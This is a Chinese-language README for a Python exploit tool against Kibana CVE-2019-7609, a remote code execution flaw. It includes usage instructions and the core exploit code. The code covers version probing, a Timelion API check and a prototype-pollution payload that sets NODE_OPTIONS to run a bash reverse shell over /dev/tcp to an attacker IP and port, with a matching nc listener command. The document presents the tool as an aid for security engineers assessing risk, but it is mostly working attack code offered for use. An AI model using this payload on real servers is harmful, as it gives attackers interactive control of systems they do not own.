CVE-2019-7609: Kibana < 6.6.1 远程代码执行漏洞检测与利用工具
本项目是一个针对 CVE-2019-7609 漏洞的专业级Python利用脚本。该漏洞影响Kibana 5.6.15版本至6.6.1之前的版本,允许攻击者在目标服务器上执行任意代码。工具支持自动版本探测、漏洞验证以及反弹Shell功能,旨在帮助安全工程师快速评估系统风险。
功能特性
- 🎯 智能版本探测:自动从目标Kibana的
/app/kibana页面提取精确版本号,并与受影响版本范围(>=5.6.15, <6.6.1)进行比对。 - ✅ 精准漏洞验证:通过向
/api/timelion/run接口发送特制的恶意Payload,根据响应状态码和内容判断漏洞是否存在,误报率低。 - 💻 一键反弹Shell:在漏洞验证成功后,可直接利用
--shell参数向指定IP和端口发起反弹Shell连接,实现即时交互式控制。 - 📦 单文件无依赖:工具为单一Python文件,仅依赖
requests库,部署和使用极为简单。
安装指南
系统要求
- Python 3.x
- pip (Python包管理器)
安装步骤
-
克隆仓库或下载脚本
git clone https://github.com/your-repo/CVE-2019-7609.git cd CVE-2019-7609或者直接下载
CVE-2019-7609-kibana-rce.py文件到本地。 -
安装依赖 脚本仅需要
requests库。使用pip进行安装:pip3 install requests
至此,安装完成。无需其他配置。
使用说明
基础使用场景
1. 仅检测漏洞是否存在
对目标Kibana服务器执行漏洞验证,不进行后续利用。
python3 CVE-2019-7609-kibana-rce.py -u http://target.com:5601
示例输出:
[+] http://target.com:5601 maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability
2. 检测漏洞并尝试反弹Shell
验证漏洞存在后,立即向攻击机(192.168.1.100)的4444端口尝试反弹Shell。
前置操作:请确保在攻击机上已使用nc或其他工具开启监听,例如:
nc -lvnp 4444。
python3 CVE-2019-7609-kibana-rce.py -u http://target.com:5601 -host 192.168.1.100 -port 4444 --shell
示例输出:
[+] http://target.com:5601 maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability
[+] reverse shell completely! please check session on: 192.168.1.100:4444
参数概览
| 参数 | 类型 | 默认值 | 描述 |
|---|---|---|---|
-u URL | str | http://127.0.0.1:5601 | 指定目标Kibana的URL地址 |
-host REMOTE_HOST | str | 127.0.0.1 | 反弹Shell的目标IP(攻击机IP) |
-port REMOTE_PORT | str | 8888 | 反弹Shell的目标端口(攻击机端口) |
--shell | flag | False | 启用此标志以在验证成功后尝试反弹Shell |
核心代码
1. Kibana版本提取 (get_kibana_version)
向/app/kibana发送请求,通过正则匹配页面中的version字段来获取目标版本号。
def get_kibana_version(url):
headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
}
url = "{}{}".format(url.rstrip("/"), "/app/kibana")
r = requests.get(url, verify=False, headers=headers, timeout=30)
patterns = ['"version":"(.*?)",', '"version":"(.*?)",']
for pattern in patterns:
match = re.findall(pattern, r.text)
if match:
return match[0]
return '9.9.9' # 默认返回一个不受影响的高版本
2. 漏洞验证 (verify)
构造包含.es(*)表达式的恶意JSON数据,向Timelion API提交,通过响应判断漏洞是否存在。
def verify(url):
global version
if not version or not version_compare(["5.6.15", "6.6.1"], version):
return False
headers = {
'Content-Type': 'application/json;charset=utf-8',
'Referer': url,
'kbn-version': version,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
}
# 核心Payload,用于触发漏洞
data = '{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"Asia/Shanghai"}}'
url = "{}{}".format(url.rstrip("/"), "/api/timelion/run")
r = requests.post(url, data=data, verify=False, headers=headers, timeout=20)
# 判断漏洞存在的条件:状态码200,返回JSON且包含特定字符串
if r.status_code == 200 and 'application/json' in r.headers.get('content-type', '') and '"seriesList"' in r.text:
return True
else:
return False
3. 反弹Shell (reverse_shell)
利用原型链污染,通过设置环境变量NODE_OPTIONS加载/proc/self/environ,执行包含反弹Shell命令的代码。
def reverse_shell(target, ip, port):
random_name = "".join(random.sample('qwertyuiopasdfghjkl', 8))
headers = {
'Content-Type': 'application/json;charset=utf-8',
'kbn-version': version,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
}
# 复杂Payload:通过原型链污染注入恶意命令并设置NODE_OPTIONS
data = r'''{"sheet":[".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"if [ ! -f /tmp/%s ];then touch /tmp/%s && /bin/bash -c \\'/bin/bash -i >& /dev/tcp/%s/%s 0>&1\\'; fi\");process.exit()//')\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"10s","timezone":"Asia/Shanghai"}}''' % (random_name, random_name, ip, port)
url = "{}{}".format(target, "/api/timelion/run")
r1 = requests.post(url, data=data, verify=False, headers=headers, timeout=20)
if r1.status_code == 200:
# 触发加载环境变量,执行命令
trigger_url = "{}{}".format(target, "/socket.io/?EIO=3&transport=polling&t=MtjhZoM")
new_headers = headers
new_headers.update({'kbn-xsrf': 'professionally-crafted-string-of-text'})
r2 = requests.get(trigger_url, verify=False, headers=new_headers, timeout=20)
if r2.status_code == 200:
time.sleep(5)
return True
return False
6HFtX5dABrKlqXeO5PUv/3qRQRku0GxzhPEK3BfPTeY=